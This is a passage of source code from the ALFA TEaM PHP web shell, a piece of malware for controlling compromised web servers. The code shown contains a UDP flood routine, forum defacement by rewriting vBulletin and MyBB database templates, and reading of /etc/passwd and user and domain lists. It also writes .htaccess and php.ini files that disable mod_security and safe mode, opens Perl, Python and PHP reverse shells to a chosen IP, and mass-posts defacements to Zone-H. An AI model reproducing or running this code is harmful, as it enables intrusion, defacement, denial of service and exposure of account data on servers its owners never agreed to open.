  1184. $fp = fsockopen('udp://'.$host, $portudp, $errno, $errstr, 5);
  1185. if($fp){
  1186. fwrite($fp, $out);
  1187. fclose($fp);
  1188. }
  1189. }
  1190. echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
  1191. echo "</pre>";
  1192. }
  1193. echo '</div>';
  1194. alfafooter();
  1195. }
  1196. function alfaIndexChanger(){
  1197. alfahead();
  1198. echo '<div class=header><script>alfa1_=alfa2_=alfa3_=alfa4_="";</script><center><h3><span>| Index Changer |</span></h3><center><h3><a href=# onclick="g(\'IndexChanger\',null,\'vb\',null)">| vBulletin | </a><a href=# onclick="g(\'IndexChanger\',null,null,\'mybb\')">| MyBB | </a></h3></center>';
  1199. if(isset($_POST['alfa1']) && ($_POST['alfa1'] == 'vb')) {
  1200. echo "<script>alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=\"\";</script><center><table border=0 width='100%'>
  1201. <tr><td>
  1202. <center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">vBulletin</font> <font color=\"#FFFFFF\">Index</font> <font color=\"#FF0000\">Changer</font><font color=\"#FFFF01\"> ==</font></b>
  1203. <p> <center><form onSubmit=\"g('IndexChanger',null,'vb',null,null,null,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\" method=POST>
  1204. <table border=1>
  1205. <tr><td><font color='#FFFFFF'><b>Mysql Host</b></font></td>
  1206. <td><input type=text name=dbh value=localhost size='50' ></td></tr>
  1207. <tr><td><font color='#FFFFFF'><b>Db User</b><br></font></td>
  1208. <td> <input type=text name=dbu size='50' ></td></tr>
  1209. <tr><td><font color='#FFFFFF'><b>Db Name</b><br></font></td>
  1210. <td> <input type=text name=dbn size='50' ></td></tr>
  1211. <tr><td><font color='#FFFFFF'><b>Db Pass</b><br></font></td>
  1212. <td> <input type=text name=dbp size='50' ></td></tr>
  1213. </table>
  1214. <font color='#FFFF01' size=\"3\"><b>your index</b></font><br>
  1215. <textarea name=index rows='19' cols='103' style='color: #FFFFFF; background-color: #000000'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
  1216. <input type=submit value='>>'>
  1217. </form></center></td></tr>
  1218. </table></center>";
  1219. if(isset($_POST['alfa6'])) {
  1220. $s0levisible="Powered By Solevisible";
  1221. $dbu = $_POST['alfa6'];
  1222. $dbn = $_POST['alfa7'];
  1223. $dbp = $_POST['alfa8'];
  1224. $dbh = $_POST['alfa9'];
  1225. $index = $_POST['alfa10'];
  1226. $index=str_replace("\'","'",$index);
  1227. $set_index = "{\${eval(base64_decode(\'";
  1228. $set_index .= base64_encode("echo \"$index\";");
  1229. $set_index .= "\'))}}{\${exit()}}</textarea>";
  1230. if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index))
  1231. {
  1232. mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
  1233. mysql_select_db($dbn) or die(mysql_error());
  1234. $loli1 = "UPDATE template SET template='".$set_index."".$s0levisible."' WHERE title='spacer_open'";
  1235. $loli2 = "UPDATE template SET template='".$set_index."".$s0levisible."' WHERE title='FORUMHOME'";
  1236. $loli3 = "UPDATE style SET css='".$set_index."".$s0levisible."', stylevars='', csscolors='', editorstyles=''";
  1237. $result = mysql_query($loli1) or die (mysql_error());
  1238. $result = mysql_query($loli2) or die (mysql_error());
  1239. $result = mysql_query($loli3) or die (mysql_error());
  1240. echo "<script>alert('VB index changed');</script>";
  1241. }
  1242. }
  1243. }
  1244. if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'mybb')) {
  1245. echo "<script>alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=\"\";</script><center><table border=0 width='100%'>
  1246. <tr><td>
  1247. <center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">Mybb</font> <font color=\"#FFFFFF\">Index</font> <font color=\"#FF0000\">Changer</font><font color=\"#FFFF01\"> ==</font></b>
  1248. <p><center><form onSubmit=\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=''>
  1249. <table border=1>
  1250. <tr><td><font color='#FFFFFF'><b>Mysql Host</b></font></td>
  1251. <td><input type=text name=mybbdbh value=localhost size='50' ></td></tr>
  1252. <tr><td><font color='#FFFFFF'><b>Db User</b><br></font></td>
  1253. <td> <input type=text name=mybbdbu size='50' ></td></tr>
  1254. <tr><td><font color='#FFFFFF'><b>Db Name</b><br></font></td>
  1255. <td> <input type=text name=mybbdbn size='50' ></td></tr>
  1256. <tr><td><font color='#FFFFFF'><b>Db Pass</b><br></font></td>
  1257. <td> <input type=text name=mybbdbp size='50' ></td></tr>
  1258. </table>
  1259. <font color='#FFFF01' size=\"3\"><b>your index</b></font><br>
  1260. <textarea name=mybbindex rows='19' cols='103' style='color: #FFFFFF; background-color: #000000'>
  1261. <title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
  1262. input type=submit value='>>' >
  1263. </form></center></td></tr></table></center>";
  1264. if(isset($_POST['alfa6'])) {
  1265. $mybb_dbh = $_POST['alfa6'];
  1266. $mybb_dbu = $_POST['alfa7'];
  1267. $mybb_dbn = $_POST['alfa8'];
  1268. $mybb_dbp = $_POST['alfa9'];
  1269. $mybb_index = $_POST['alfa10'];
  1270. if (!empty($mybb_dbh) && !empty($mybb_dbu) && !empty($mybb_dbn) && !empty($mybb_index))
  1271. {
  1272. mysql_connect($mybb_dbh,$mybb_dbu,$mybb_dbp) or die(mysql_error());
  1273. mysql_select_db($mybb_dbn) or die(mysql_error());
  1274. $prefix="mybb_";
  1275. $loli7 = "UPDATE ".$prefix."templates SET template='".$mybb_index."' WHERE title='index'";
  1276. $result = mysql_query($loli7) or die (mysql_error());
  1277. echo "<script>alert('MyBB index changed');</script>";
  1278. }
  1279. }
  1280. }
  1281. echo "</div>";
  1282. alfafooter();
  1283. }
  1284. function alfaproc()
  1285. {
  1286. alfahead();
  1287. echo "<Div class=header><center>";
  1288. if(empty($_POST['ajax'])&&!empty($_POST['alfa1']))
  1289. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1290. if($GLOBALS['sys']=="win")
  1291. {
  1292. $process=array(
  1293. "System Info" =>"systeminfo",
  1294. "Active Connections" => "netstat -an",
  1295. "Running Services" => "net start",
  1296. "User Accounts" => "net user",
  1297. "Show Computers" => "net view",
  1298. "ARP Table" => "arp -a",
  1299. "IP Configuration" => "ipconfig /all"
  1300. );
  1301. }
  1302. else
  1303. {
  1304. $process=array(
  1305. "Process status" => "ps aux",
  1306. "Syslog" =>"cat /etc/syslog.conf",
  1307. "Resolv" => "cat /etc/resolv.conf",
  1308. "Hosts" =>"cat /etc/hosts",
  1309. "Cpuinfo"=>"cat /proc/cpuinfo",
  1310. "Version"=>"cat /proc/version",
  1311. "Sbin"=>"ls -al /usr/sbin",
  1312. "Interrupts"=>"cat /proc/interrupts",
  1313. "lsattr"=>"lsattr -va",
  1314. "Uptime"=>"uptime",
  1315. "Fstab" =>"cat /etc/fstab",
  1316. );}
  1317. foreach($process as $n => $link)
  1318. {
  1319. echo '<a href="#" onclick="g(null,null,\''.$link.'\')"> | '.$n.' | </a>';
  1320. }
  1321. echo "</center>";
  1322. if(!empty($_POST['alfa1']))
  1323. {
  1324. echo "<pre class='ml1' style='margin-top:5px' >";
  1325. echo alfaEx($_POST['alfa1']);
  1326. echo '</pre>';
  1327. }
  1328. echo "</div>";
  1329. alfafooter();
  1330. }
  1331. function alfasafe()
  1332. {
  1333. alfahead();
  1334. echo "<div class=header><script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=\"\"</script><center><h3><span>| Atuo ByPasser |</span></h3>";
  1335. echo '<h3><a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(apache) | </a><a href=# onclick="g(null,null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=# onclick="g(null,null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=# onclick="g(null,null,null,null,null,null,\'users\')">| Read-Users | </a><a href=# onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=# onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>';
  1336. if(!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains')
  1337. {if(!@file_exists("/etc/virtual/domainowners")){
  1338. echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
  1339. $solevisible9 = @file('/etc/named.conf');
  1340. foreach($solevisible9 as $solevisible13){
  1341. if(@eregi('zone',$solevisible13)){
  1342. preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14);
  1343. if(strlen(trim($solevisible14[1][0])) > 2){
  1344. echo $solevisible14[1][0].'<br>';
  1345. }}}
  1346. }else{
  1347. echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>".
  1348. $users = @file("/etc/virtual/domainowners");
  1349. foreach($users as $boz){
  1350. $dom = explode(":",$boz);
  1351. echo $dom[0]."\n";
  1352. }}}
  1353. if(!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases')
  1354. {
  1355. echo '<center><script>alfa6_=alfa7_=alfa9_=\"\"</script>
  1356. <form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,this.go.value); return false;" method="post" action="" />
  1357. <input type="text" placeholder="site.com" name="site" />
  1358. <input type="submit" value=">>" name="go" />
  1359. </form></center>
  1360. ';
  1361. if($_POST['alfa9'] && $_POST['alfa9'] == '>>')
  1362. {
  1363. if(!@file_exists("/etc/virtual/domainowners")){
  1364. if(function_exists("posix_getpwuid") && function_exists("fileowner")){
  1365. $site = trim($_POST['alfa7']);
  1366. $rep = str_replace(array("https://","http://","www."),"",$site);
  1367. if($user = posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){
  1368. if($user['name']!= 'root'){
  1369. echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\">
  1370. <center>
  1371. <table border=1>
  1372. <tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user['name']}</font></b></td></tr>
  1373. <tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr>
  1374. </table>
  1375. </center>";}}}
  1376. else {echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br/><center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';}
  1377. }else{
  1378. $site = trim($_POST['alfa7']);
  1379. $rep = str_replace(array("https://","http://","www."),"",$site);
  1380. $users = @file("/etc/virtual/domainowners");
  1381. foreach($users as $boz){
  1382. $ex = explode(":",$boz);
  1383. if($ex[0] == $rep){
  1384. echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\">
  1385. <center>
  1386. <table border=1>
  1387. <tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">".trim($ex[1])."</font></b></td></tr>
  1388. <tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";break;}}}}}
  1389. if(!empty($_POST['alfa5']) && isset($_POST['alfa5']))
  1390. {
  1391. if(!@file_exists("/etc/virtual/domainowners")){
  1392. echo '<pre id="strOutput" style="margin-top:5px" class="ml1">';
  1393. $i = 0;
  1394. while ($i < 60000) {
  1395. $line = posix_getpwuid($i);
  1396. if (!empty($line)) {
  1397. while (list ($key, $vl) = each($line)){
  1398. echo $vl."\n";
  1399. break;}}$i++;}
  1400. }else{echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br>';
  1401. $users = @file("/etc/virtual/domainowners");
  1402. foreach($users as $boz){
  1403. $user = explode(":",$boz);
  1404. echo trim($user[1]).'<br>';}}}
  1405. if(!empty($_POST['alfa4']) && isset($_POST['alfa4'])){
  1406. echo '<pre id="strOutput" style="margin-top:5px" class="ml1">';
  1407. if(function_exists("system") || function_exists("exec") || function_exists("passthru") || function_exists("shell_exec")){echo alfaEx("cat /etc/passwd");}
  1408. elseif(function_exists("file_get_contents") && is_readable("/etc/passwd")){
  1409. echo file_get_contents("/etc/passwd");}
  1410. elseif(function_exists("posix_getpwuid")){
  1411. for($uid=0;$uid<60000;$uid++){
  1412. $ara = @posix_getpwuid($uid);
  1413. if (!empty($ara)) {
  1414. while (list ($key, $val) = each($ara)){
  1415. print "$val:";
  1416. }print "\n";}}
  1417. } else{echo '<script>alert("Error in bypass... im sorry:\(")</script>';}}
  1418. if(!empty($_POST['alfa2']) && isset($_POST['alfa2'])){
  1419. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1420. fwrite($fil,'#Generated By Sole Sad and Invisible
  1421. <IfModule mod_security.c>
  1422. Sec------Engine Off
  1423. Sec------ScanPOST Off
  1424. </IfModule>');
  1425. fclose($fil);
  1426. echo '<script>alert("htaccess for Apache is created...!")</script>';
  1427. }
  1428. if(!empty($_POST['alfa1'])&& isset($_POST['alfa1']))
  1429. {
  1430. $fil=fopen($GLOBALS['cwd']."php.ini","w");
  1431. fwrite($fil,'safe_mode=OFF
  1432. disable_functions=ByPass By Sole Sad & Invisible(ALFA TEaM)');
  1433. fclose($fil);
  1434. $file2=fopen($GLOBALS['cwd']."ini.php","w");
  1435. fwrite($file2,'<?
  1436. echo ini_get("safe_mode");
  1437. echo ini_get("open_basedir");
  1438. include($_GET["file"]);
  1439. ini_restore("safe_mode");
  1440. ini_restore("open_basedir");
  1441. echo ini_get("safe_mode");
  1442. echo ini_get("open_basedir");
  1443. include($_GET["ss"]);
  1444. ?>');
  1445. fclose($file2);
  1446. echo '<script>alert("php.ini && ini.php is created...!")</script>';
  1447. }
  1448. if(!empty($_POST['alfa3']) && isset($_POST['alfa3']))
  1449. {
  1450. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1451. fwrite($fil,'#Generated By Sole Sad and Invisible
  1452. <Files *.php>
  1453. ForceType application/x-httpd-php4
  1454. </Files>
  1455. ahm tas: <IfModule mod_security.c>
  1456. SecFilterEngine Off
  1457. SecFilterScanPOST Off
  1458. </IfModule>');
  1459. fclose($fil);
  1460. echo '<script>alert("htaccess for Litespeed is created...!")</script>';
  1461. }
  1462. echo "<br></div>";
  1463. alfafooter();
  1464. }
  1465. function alfaconnect()
  1466. {
  1467. alfahead();
  1468. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1469. $back_connect_py="IyEvdXNyL2Jpbi9weXRob24NCg0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KDQpob3N0ID0gc3lzLmFyZ3ZbMV0NCnBvcnQgPSBpbnQoc3lzLmFyZ3ZbMl0pDQoNCnNvY2tldC5zZXRkZWZhdWx0dGltZW91dCg2MCkNCg0KZGVmIGJjKCk6DQogIHRyeToNCiAgICBzb2sgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkNCiAgICBzb2suY29ubmVjdCgoaG9zdCxwb3J0KSkNCiAgICBzb2suc2VuZCgnJydzb2xldmlzaWJsZUBnbWFpbC5jb21cblxuJycnKQ0KICAgIG9zLmR1cDIoc29rLmZpbGVubygpLDApDQogICAgb3MuZHVwMihzb2suZmlsZW5vKCksMSkNCiAgICBvcy5kdXAyKHNvay5maWxlbm8oKSwyKQ0KICAgIG9zLmR1cDIoc29rLmZpbGVubygpLDMpDQogICAgc2hlbGwgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSkNCiAgZXhjZXB0IHNvY2tldC50aW1lb3V0Og0KICAgIHByaW50ICJbIV0gQ29ubmVjdGlvbiB0aW1lZCBvdXQiDQogIGV4Y2VwdCBzb2NrZXQuZXJyb3IsIGU6DQogICAgcHJpbnQgIlshXSBFcnJvciB3aGlsZSBjb25uZWN0aW5nIiwgZQ0KICANCmJjKCk=";
  1470. echo "<div class=header><center><h3><span>| Back Connect |</span></h3>";
  1471. echo "<form onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span><font color=\"#00A220\">PERL BACK CONNECT</font><br></span><br><font color=\"#00A220\"><b>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></b></font>";
  1472. echo "<br><form onSubmit=\"g(null,null,'php',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT<br></span><br><font color=\"#FFFFFF\"><b>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form><br>";
  1473. echo "<br><form onSubmit=\"g(null,null,'py',this.server.value,this.port.value);return false;\"><span><font color=\"#FF0000\">PYTHON BACK CONNECT</font><br></span><br><font color=\"#FF0000\"><b>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></center><br>";
  1474. if(isset($_POST['alfa1'])) {
  1475. function cf($f,$t) {
  1476. $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1477. if($w){
  1478. @fwrite($w,@base64_decode($t));
  1479. @fclose($w);
  1480. }
  1481. }
  1482. if($_POST['alfa1'] == 'bcp') {
  1483. cf("/tmp/bc.pl",$back_connect_p);
  1484. $out = alfaEx("perl /tmp/bc.pl ".$_POST['alfa2']." ".$_POST['alfa3']." 1>/dev/null 2>&1 &");
  1485. echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to ".$_POST['alfa2'].":".$_POST['alfa3']."<br>Connecting...[Perl]</pre>";
  1486. @unlink("/tmp/bc.pl");
  1487. }
  1488. if($_POST['alfa1'] == 'py') {
  1489. cf("/tmp/bc.py",$back_connect_py);
  1490. $out = alfaEx("python /tmp/bc.py ".$_POST['alfa2']." ".$_POST['alfa3']." 1>/dev/null 2>&1 &");
  1491. echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to ".$_POST['alfa2'].":".$_POST['alfa3']."<br>Connecting...[Python]</pre>";
  1492. @unlink("/tmp/bc.py");
  1493. }
  1494. if($_POST['alfa1']=='php')
  1495. {
  1496. @set_time_limit (0);
  1497. $ip = $_POST['alfa2'];
  1498. $port =$_POST['alfa3'];
  1499. $chunk_size = 1400;
  1500. $write_a = null;
  1501. $error_a = null;
  1502. $shell = 'uname -a; w; id; /bin/sh -i';
  1503. $daemon = 0;
  1504. $debug = 0;
  1505. echo "<pre class=ml1 style='margin-top:5px'>";
  1506. if (function_exists('pcntl_fork')) {
  1507. $pid = pcntl_fork();
  1508. if ($pid == -1) {
  1509. echo "Cant fork!<br>";
  1510. exit(1);
  1511. }
  1512. if ($pid) {
  1513. exit(0);
  1514. }
  1515. if (posix_setsid() == -1) {
  1516. echo "Error: Can't setsid()<br>";
  1517. exit(1);
  1518. }
  1519. $daemon = 1;
  1520. } else {
  1521. echo "WARNING: Failed to daemonise. This is quite common and not fatal<br>";
  1522. }
  1523. chdir(htmlspecialchars($GLOBALS['cwd']));
  1524. umask(0);
  1525. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  1526. if (!$sock) {
  1527. echo "$errstr ($errno)";
  1528. exit(1);
  1529. }
  1530. $descriptorspec = array(
  1531. 0 => array("pipe", "r"),
  1532. 1 => array("pipe", "w"),
  1533. 2 => array("pipe", "w")
  1534. );
  1535. $process = proc_open($shell, $descriptorspec, $pipes);
  1536. if (!is_resource($process)) {
  1537. echo "ERROR: Can't spawn shell<br>";
  1538. exit(1);
  1539. }
  1540. @stream_set_blocking($pipes[0], 0);
  1541. @stream_set_blocking($pipes[1], 0);
  1542. @stream_set_blocking($pipes[2], 0);
  1543. @stream_set_blocking($sock, 0);
  1544. echo "Successfully opened reverse shell to $ip:$port [Php]<br>";
  1545. while (1) {
  1546. if (feof($sock)) {
  1547. echo "ERROR: Shell connection terminated<br>";
  1548. break;
  1549. }
  1550. if (feof($pipes[1])) {
  1551. echo "ERROR: Shell process terminated<br>";
  1552. break;
  1553. }
  1554. $read_a = array($sock, $pipes[1], $pipes[2]);
  1555. $num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);
  1556. if (in_array($sock, $read_a)) {
  1557. if ($debug) echo "SOCK READ<br>";
  1558. $input=fread($sock, $chunk_size);
  1559. if ($debug) echo "SOCK: $input<br>";
  1560. fwrite($pipes[0], $input);
  1561. }
  1562. if (in_array($pipes[1], $read_a)) {
  1563. if ($debug) echo "STDOUT READ<br>";
  1564. $input = fread($pipes[1], $chunk_size);
  1565. if ($debug) echo "STDOUT: $input<br>";
  1566. fwrite($sock, $input);
  1567. }
  1568. if (in_array($pipes[2], $read_a)) {
  1569. if ($debug) echo "STDERR READ<br>";
  1570. $input = fread($pipes[2], $chunk_size);
  1571. if ($debug) echo "STDERR: $input<br>";
  1572. fwrite($sock, $input);
  1573. }
  1574. }
  1575. fclose($sock);
  1576. fclose($pipes[0]);
  1577. fclose($pipes[1]);
  1578. fclose($pipes[2]);
  1579. proc_close($process);
  1580. echo "</pre>";
  1581. }
  1582. }
  1583. echo "</div>";
  1584. alfafooter();
  1585. }
  1586. function ZoneH($url, $hacker, $hackmode,$reson, $site )
  1587. {
  1588. $k = curl_init();
  1589. curl_setopt($k, CURLOPT_URL, $url);
  1590. curl_setopt($k,CURLOPT_POST,true);
  1591. curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
  1592. curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
  1593. curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  1594. $kubra = curl_exec($k);
  1595. curl_close($k);
  1596. return $kubra;
  1597. }
  1598. function alfazoneh()
  1599. {
  1600. alfahead();
  1601. echo '<div class=header>';
  1602. if(!function_exists('curl_version'))
  1603. {
  1604. echo "<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
  1605. }
  1606. echo '
  1607. <center><br><b><font color="#FFFF01">==</font> <font color="#00A220">ZONE-H</font> <font color="#FFFFFF">Mass</font> <font color="#FF0000">Poster</font><font color="#FFFF01"> ==</font></b><center><br>
  1608. <form action="" method="post" onsubmit="g(\'zoneh\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,this.go.value); return false;">
  1609. <input type="text" name="defacer" size="67" id="text" value="ALFA TEaM 2012" />
  1610. <br>
  1611. <select id="text" name="hackmode">
  1612. <option>------------------------------------SELECT-------------------------------------</option>
  1613. <option style="background-color: rgb(F, F, F);" value="1" >known vulnerability (i.e. unpatched system)</option>
  1614. <option style="background-color: rgb(F, F, F);" value="2" >undisclosed (new) vulnerability</option>
  1615. <option style="background-color: rgb(F, F, F);" value="3" >configuration / admin. mistake</option>
  1616. <option style="background-color: rgb(F, F, F);" value="4" >brute force attack</option>
  1617. <option style="background-color: rgb(F, F, F);" value="5" >social engineering</option>
  1618. <option style="background-color: rgb(F, F, F);" value="6" >Web Server intrusion</option>
  1619. <option style="background-color: rgb(F, F, F);" value="7" >Web Server external module intrusion</option>
  1620. <option style="background-color: rgb(F, F, F);" value="8" >Mail Server intrusion</option>
  1621. <option style="background-color: rgb(F, F, F);" value="9" >FTP Server intrusion</option>
  1622. <option style="background-color: rgb(F, F, F);" value="10" >SSH Server intrusion</option>
  1623. <option style="background-color: rgb(F, F, F);" value="11" >Telnet Server intrusion</option>
  1624. <option style="background-color: rgb(F, F, F);" value="12" >RPC Server intrusion</option>
  1625. <option style="background-color: rgb(F, F, F);" value="13" >Shares misconfiguration</option>
  1626. <option style="background-color: rgb(F, F, F);" value="14" >Other Server intrusion</option>
  1627. <option style="background-color: rgb(F, F, F);" value="15" >SQL Injection</option>
  1628. <option style="background-color: rgb(F, F, F);" value="16" >URL Poisoning</option>
  1629. <option style="background-color: rgb(F, F, F);" value="17" >File Inclusion</option>
  1630. <option style="background-color: rgb(F, F, F);" value="18" >Other Web Application bug</option>
  1631. <option style="background-color: rgb(F, F, F);" value="19" >Remote administrative panel access bruteforcing</option>
  1632. <option style="background-color: rgb(F, F, F);" value="20" >Remote administrative panel access password guessing</option>
  1633. <option style="background-color: rgb(F, F, F);" value="21" >Remote administrative panel access social engineering</option>
  1634. <option style="background-color: rgb(F, F, F);" value="22" >Attack against administrator(password stealing/sniffing)</option>
  1635. <option style="background-color: rgb(F, F, F);" value="23" >Access credentials through Man In the Middle attack</option>
  1636. <option style="background-color: rgb(F, F, F);" value="24" >Remote service password guessing</option>
  1637. <option style="background-color: rgb(F, F, F);" value="25" >Remote service password bruteforce</option>
  1638. <option style="background-color: rgb(F, F, F);" value="26" >Rerouting after attacking the Firewall</option>
  1639. <option style="background-color: rgb(F, F, F);" value="27" >Rerouting after attacking the Router</option>
  1640. <option style="background-color: rgb(F, F, F);" value="28" >DNS attack through social engineering</option>
  1641. <option style="background-color: rgb(F, F, F);" value="29" >DNS attack through cache poisoning</option>
  1642. <option style="background-color: rgb(F, F, F);" value="30" >Not available</option>
  1643. <option style="background-color: rgb(F, F, F);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
  1644. </select> <br>
  1645. <select id="text" name="reason">
  1646. <option >------------------------------------SELECT-------------------------------------</option>
  1647. <option style="background-color: rgb(F, F, F);" value="1" >Heh...just for fun!</option>
  1648. <option style="background-color: rgb(F, F, F);" value="2" >Revenge against that website</option>
  1649. <option style="background-color: rgb(F, F, F);" value="3" >Political reasons</option>
  1650. <option style="background-color: rgb(F, F, F);" value="4" >As a challenge</option>
  1651. <option style="background-color: rgb(F, F, F);" value="5" >I just want to be the best defacer</option>
  1652. <option style="background-color: rgb(F, F, F);" value="6" >Patriotism</option>
  1653. <option style="background-color: rgb(F, F, F);" value="7" >Not available</option>
  1654. option style="background-color: rgb(F, F, F);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
  1655. </select><br>
  1656. <textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>
  1657. <input type="submit" value=">>" name="go"/>
  1658. </form></center>';
  1659. if($_POST['alfa5'] && $_POST['alfa5'] == '>>'){
  1660. ob_start();
  1661. $hacker = $_POST['alfa1'];
  1662. $method = $_POST['alfa2'];
  1663. $neden = $_POST['alfa3'];
  1664. $site = $_POST['alfa4'];
  1665. if (empty($hacker))
  1666. {
  1667. die ("<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
  1668. }
  1669. elseif($method == "------------------------------------SELECT-------------------------------------")
  1670. {
  1671. die("<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
  1672. }
  1673. elseif($neden == "------------------------------------SELECT-------------------------------------")
  1674. {
  1675. die("<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
  1676. }
  1677. elseif(empty($site))
  1678. {
  1679. die("<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
  1680. }
  1681. $i = 0;
  1682. $sites = explode("\n", $site);
  1683. while($i < count($sites))
  1684. {
  1685. if(substr($sites[$i], 0, 4) != "http")
  1686. {
  1687. $sites[$i] = "http://".$sites[$i];
  1688. }
  1689. ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);
  1690. ++$i;
  1691. }
  1692. echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
  1693. }
  1694. echo "</div>";
  1695. alfafooter();
  1696. }
  1697. function alfateam()
  1698. {
  1699. alfahead();
  1700. echo "<div class=header>";
  1701. echo "<pre>
  1702. <center><img height=\"300\" width=\"450\" src=\"http://iran.grn.cc/alfa-iran.jpg\">
  1703. <font color=\"#FFFF01\">
  1704. <br>
  1705. <font color=#00A220><b>Shell Coded By Sole Sad & Invisible(ALFA TEaM)Iranian Hackers :)</font><b>special thanks to MadLeets</b></font><br>
  1706. <font color=#00A220>Contact : solevisible@gmail.com<br></font>
  1707. <font color=#FFFFFF>Skype : ehsan.invisible</font><br>
